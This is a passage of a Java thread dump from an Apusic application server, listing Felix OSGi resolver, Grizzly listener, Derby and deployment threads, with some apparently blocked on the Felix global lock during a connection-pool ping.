java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-11" #30 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@325e34c3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2(3)" #75 daemon [WAITING] on java.lang.Object@4943d730 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(4)" #69 daemon [WAITING] on java.lang.Object@1448385f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"derby.rawStoreDaemon" #104 daemon [TIMED_WAITING] on org.apache.derby.impl.services.daemon.BasicDaemon@1201c33a + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.apache.derby.impl.services.daemon.BasicDaemon.rest(Unknown Source) + at org.apache.derby.impl.services.daemon.BasicDaemon.run(Unknown Source) + at java.lang.Thread.run(Thread.java:750) + +"timer-get-connection-pool-monitor-extension" #57 daemon [TIMED_WAITING] on java.util.TaskQueue@2783cf57 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-listener-2(1)" #73 daemon [WAITING] on java.lang.Object@4943d730 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Thread-49" #140 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@eb26cd1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-38" #124 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.FutureTask.awaitDone(FutureTask.java:429) + at java.util.concurrent.FutureTask.get(FutureTask.java:191) + at org.apache.felix.resolver.ResolverImpl$EnhancedExecutor.await(ResolverImpl.java:2522) + at org.apache.felix.resolver.ResolverImpl.calculatePackageSpaces(ResolverImpl.java:1228) + at org.apache.felix.resolver.ResolverImpl.checkConsistency(ResolverImpl.java:614) + at org.apache.felix.resolver.ResolverImpl.findValidCandidates(ResolverImpl.java:574) + at org.apache.felix.resolver.ResolverImpl.doResolve(ResolverImpl.java:437) + at org.apache.felix.resolver.ResolverImpl.resolve(ResolverImpl.java:420) + at org.apache.felix.resolver.ResolverImpl.resolve(ResolverImpl.java:374) + at org.apache.felix.framework.StatefulResolver.resolve(StatefulResolver.java:488) + at org.apache.felix.framework.Felix.resolveBundleRevision(Felix.java:4393) + at org.apache.felix.framework.Felix.startBundle(Felix.java:2308) + at org.apache.felix.framework.BundleImpl.start(BundleImpl.java:1006) + at org.jvnet.hk2.osgiadapter.OSGiModuleImpl.start(OSGiModuleImpl.java:185) + at org.jvnet.hk2.osgiadapter.OsgiPopulatorPostProcessor$1.loadClass(OsgiPopulatorPostProcessor.java:54) + at org.jvnet.hk2.internal.ServiceLocatorImpl.loadClass(ServiceLocatorImpl.java:2225) + at org.jvnet.hk2.internal.ServiceLocatorImpl.reifyDescriptor(ServiceLocatorImpl.java:436) + at org.jvnet.hk2.internal.Utilities.createService(Utilities.java:2066) + at org.jvnet.hk2.internal.ServiceHandleImpl.getService(ServiceHandleImpl.java:92) + at org.jvnet.hk2.internal.ServiceHandleImpl.getService(ServiceHandleImpl.java:66) + at org.jvnet.hk2.internal.ServiceLocatorImpl.getAllServices(ServiceLocatorImpl.java:837) + at com.apusic.enterprise.v10.server.ClassLoaderHierarchyImpl.createApplicationParentCL(ClassLoaderHierarchyImpl.java:178) + at com.apusic.aas.deployment.common.DeploymentContextImpl.createClassLoader(DeploymentContextImpl.java:224) + at com.apusic.aas.deployment.common.DeploymentContextImpl.createDeploymentClassLoader(DeploymentContextImpl.java:207) + at com.apusic.enterprise.v10.server.ApplicationLifecycle.deploy(ApplicationLifecycle.java:343) + at com.apusic.enterprise.v10.server.ApplicationLoaderService.processApplication(ApplicationLoaderService.java:474) + at com.apusic.enterprise.v10.admin.adapter.InstallerThread.load(InstallerThread.java:189) + at com.apusic.enterprise.v10.admin.adapter.InstallerThread.run(InstallerThread.java:78) + +"http-listener-2(4)" #76 daemon [WAITING] on java.lang.Object@4943d730 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2(5)" #77 daemon [WAITING] on java.lang.Object@4943d730 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"CM Event Dispatcher" #138 daemon [WAITING] on java.util.LinkedList@4148994c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:83) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[aas-web]]" #115 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1631) + at java.lang.Thread.run(Thread.java:750) + +"RunLevelControllerThread-1612096200000" #39 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@509f18a3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener(4)" #83 daemon [WAITING] on java.lang.Object@19dab33a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"AutoDeployer" #120 daemon [TIMED_WAITING] on java.util.TaskQueue@5c01b150 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"iiop-service-kernel(1) SelectorRunner" #94 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:92) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:312) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:252) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"FelixFrameworkWiring" #23 daemon [WAITING] on java.util.ArrayList@1ea8f763 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:169) + at java.lang.Thread.run(Thread.java:750) + +"ApusicFileHandler" #42 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@740019f8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.apusic.enterprise.server.logging.ApusicFileHandler.log(ApusicFileHandler.java:973) + at com.apusic.enterprise.server.logging.ApusicFileHandler$6.run(ApusicFileHandler.java:680) + +"Blueprint Extender: 2" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@154172fe + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-40" #126 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at org.apache.felix.framework.Felix.acquireGlobalLock(Felix.java:5636) + at org.apache.felix.framework.StatefulResolver.resolve(StatefulResolver.java:538) + at org.apache.felix.framework.BundleWiringImpl.searchDynamicImports(BundleWiringImpl.java:1669) + at org.apache.felix.framework.BundleWiringImpl.findClassOrResourceByDelegation(BundleWiringImpl.java:1569) + at org.apache.felix.framework.BundleWiringImpl.access$300(BundleWiringImpl.java:79) + at org.apache.felix.framework.BundleWiringImpl$BundleClassLoader.loadClass(BundleWiringImpl.java:1976) + at java.lang.ClassLoader.loadClass(ClassLoader.java:351) + at org.apache.felix.framework.Felix.loadBundleClass(Felix.java:2116) + at org.apache.felix.framework.BundleImpl.loadClass(BundleImpl.java:986) + at org.jvnet.hk2.osgiadapter.OSGiModuleImpl$4$1.run(OSGiModuleImpl.java:408) + at org.jvnet.hk2.osgiadapter.OSGiModuleImpl$4$1.run(OSGiModuleImpl.java:405) + at java.security.AccessController.doPrivileged(Native Method) + at org.jvnet.hk2.osgiadapter.OSGiModuleImpl$4.loadClass(OSGiModuleImpl.java:405) + at java.lang.ClassLoader.loadClass(ClassLoader.java:351) + at com.apusic.enterprise.v10.server.APIClassLoaderServiceImpl$APIClassLoader.loadClass(APIClassLoaderServiceImpl.java:214) + at java.lang.ClassLoader.loadClass(ClassLoader.java:405) + at java.lang.ClassLoader.loadClass(ClassLoader.java:405) + at java.lang.ClassLoader.loadClass(ClassLoader.java:351) + at java.lang.ClassLoader.defineClass1(Native Method) + at java.lang.ClassLoader.defineClass(ClassLoader.java:756) + at com.sun.enterprise.loader.ASURLClassLoader.findClass(ASURLClassLoader.java:777) + at com.sun.appserv.connectors.internal.api.ConnectorClassFinder.findClass(ConnectorClassFinder.java:61) + at java.lang.ClassLoader.loadClass(ClassLoader.java:418) + at java.lang.ClassLoader.loadClass(ClassLoader.java:351) + at java.lang.Class.forName0(Native Method) + at java.lang.Class.forName(Class.java:348) + at sun.reflect.generics.factory.CoreReflectionFactory.makeNamedType(CoreReflectionFactory.java:114) + at sun.reflect.generics.visitor.Reifier.visitClassTypeSignature(Reifier.java:125) + at sun.reflect.generics.tree.ClassTypeSignature.accept(ClassTypeSignature.java:49) + at sun.reflect.annotation.AnnotationParser.parseSig(AnnotationParser.java:439) + at sun.reflect.annotation.AnnotationParser.parseClassValue(AnnotationParser.java:420) + at sun.reflect.annotation.AnnotationParser.parseMemberValue(AnnotationParser.java:349) + at sun.reflect.annotation.AnnotationParser.parseAnnotation2(AnnotationParser.java:286) + at sun.reflect.annotation.AnnotationParser.parseAnnotations2(AnnotationParser.java:120) + at sun.reflect.annotation.AnnotationParser.parseAnnotations(AnnotationParser.java:72) + at java.lang.Class.createAnnotationData(Class.java:3521) + at java.lang.Class.annotationData(Class.java:3510) + at java.lang.Class.getAnnotations(Class.java:3446) + at com.apusic.aas.apf.impl.AnnotationProcessorImpl.processAnnotations(AnnotationProcessorImpl.java:257) + at com.apusic.aas.apf.impl.AnnotationProcessorImpl.process(AnnotationProcessorImpl.java:167) + at com.apusic.aas.apf.impl.AnnotationProcessorImpl.process(AnnotationProcessorImpl.java:106) + at com.sun.enterprise.deployment.archivist.Archivist.processAnnotations(Archivist.java:616) + at com.sun.enterprise.deployment.archivist.Archivist.readAnnotations(Archivist.java:439) + at com.sun.enterprise.deployment.archivist.Archivist.readAnnotations(Archivist.java:423) + at com.sun.enterprise.deployment.archivist.Archivist.readRestDeploymentDescriptors(Archivist.java:395) + at com.sun.enterprise.deployment.archivist.Archivist.readDeploymentDescriptors(Archivist.java:372) + at com.sun.enterprise.deployment.archivist.Archivist.open(Archivist.java:247) + at com.sun.enterprise.deployment.archivist.Archivist.open(Archivist.java:256) + at com.sun.enterprise.deployment.archivist.Archivist.open(Archivist.java:217) + at com.sun.enterprise.connectors.util.ConnectorDDTransformUtils.getConnectorDescriptor(ConnectorDDTransformUtils.java:212) + at com.sun.enterprise.connectors.service.ResourceAdapterAdminServiceImpl.createActiveResourceAdapter(ResourceAdapterAdminServiceImpl.java:313) + at com.sun.enterprise.connectors.ConnectorRuntime.createActiveResourceAdapter(ConnectorRuntime.java:382) + at com.sun.enterprise.connectors.service.ConnectorService.loadDeferredResourceAdapter(ConnectorService.java:160) + at com.sun.enterprise.connectors.service.ConnectorService.loadResourcesAndItsRar(ConnectorService.java:124) + at com.sun.enterprise.connectors.service.ConnectorService.checkAndLoadPool(ConnectorService.java:301) + at com.sun.enterprise.connectors.service.ConnectorConnectionPoolAdminServiceImpl.getUnpooledConnection(ConnectorConnectionPoolAdminServiceImpl.java:617) + at com.sun.enterprise.connectors.service.ConnectorConnectionPoolAdminServiceImpl.testConnectionPool(ConnectorConnectionPoolAdminServiceImpl.java:412) + at com.sun.enterprise.connectors.ConnectorRuntime.pingConnectionPool(ConnectorRuntime.java:1176) + at com.apusic.aas.connectors.admin.cli.PingConnectionPool.execute(PingConnectionPool.java:123) + at com.apusic.enterprise.v10.admin.CommandRunnerImpl$2$1.run(CommandRunnerImpl.java:575) + at com.apusic.enterprise.v10.admin.CommandRunnerImpl$2$1.run(CommandRunnerImpl.java:571) + at java.security.AccessController.doPrivileged(Native Method) + at javax.security.auth.Subject.doAs(Subject.java:360) + at com.apusic.enterprise.v10.admin.CommandRunnerImpl$2.execute(CommandRunnerImpl.java:570) + at com.apusic.enterprise.v10.admin.CommandRunnerImpl$3.run(CommandRunnerImpl.java:601) + at com.apusic.enterprise.v10.admin.CommandRunnerImpl$3.run(CommandRunnerImpl.java:593) + at java.security.AccessController.doPrivileged(Native Method) + at javax.security.auth.Subject.doAs(Subject.java:360) + at com.apusic.enterprise.v10.admin.CommandRunnerImpl.doCommand(CommandRunnerImpl.java:592) + at com.apusic.enterprise.v10.admin.CommandRunnerImpl.doCommand(CommandRunnerImpl.java:1500) + at com.apusic.enterprise.v10.admin.CommandRunnerImpl.access$1500(CommandRunnerImpl.java:94) + at com.apusic.enterprise.v10.admin.CommandRunnerImpl$ExecutionContext.execute(CommandRunnerImpl.java:1894) + at com.apusic.enterprise.v10.admin.CommandRunnerImpl$ExecutionContext.execute(CommandRunnerImpl.java:1770) + at com.sun.enterprise.admin.cli.embeddable.CommandExecutorImpl.executeCommand(CommandExecutorImpl.java:144) + at com.sun.enterprise.admin.cli.embeddable.CommandExecutorImpl.run(CommandExecutorImpl.java:69) + at com.apusic.aas.jdbc.admin.cli.InitJdbcConnectionPoolService$1.run(InitJdbcConnectionPoolService.java:38) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener-kernel(1) SelectorRunner" #87 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:92) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:312) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:252) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener(1)" #80 daemon [WAITING] on java.lang.Object@19dab33a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(1)" #64 daemon [WAITING] on java.lang.Object@1448385f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"pool-16-thread-1" #110 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@181d8a00 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Grizzly(7)" #58 daemon [WAITING] on java.lang.Object@473c6bdd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"fileinstall-/usr/local/apusic/aas/domains/mydomain/autodeploy/bundles/" #144 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:291) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@7e848a9f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"deployment-jar-scanner" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70a749df + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"LogOutputStream-INFO" #44 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@67b3cefe + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.sun.common.util.logging.LogOutputStream.log(LogOutputStream.java:82) + at com.sun.common.util.logging.LogOutputStream$1.run(LogOutputStream.java:67) + +"http-listener-2(2)" #74 daemon [WAITING] on java.lang.Object@4943d730 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-4" #21 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@325e34c3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-2" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@325e34c3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-8-thread-1" #105 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6a06a66a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Grizzly(4)" #50 daemon [WAITING] on java.lang.Object@473c6bdd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-7" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@325e34c3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at 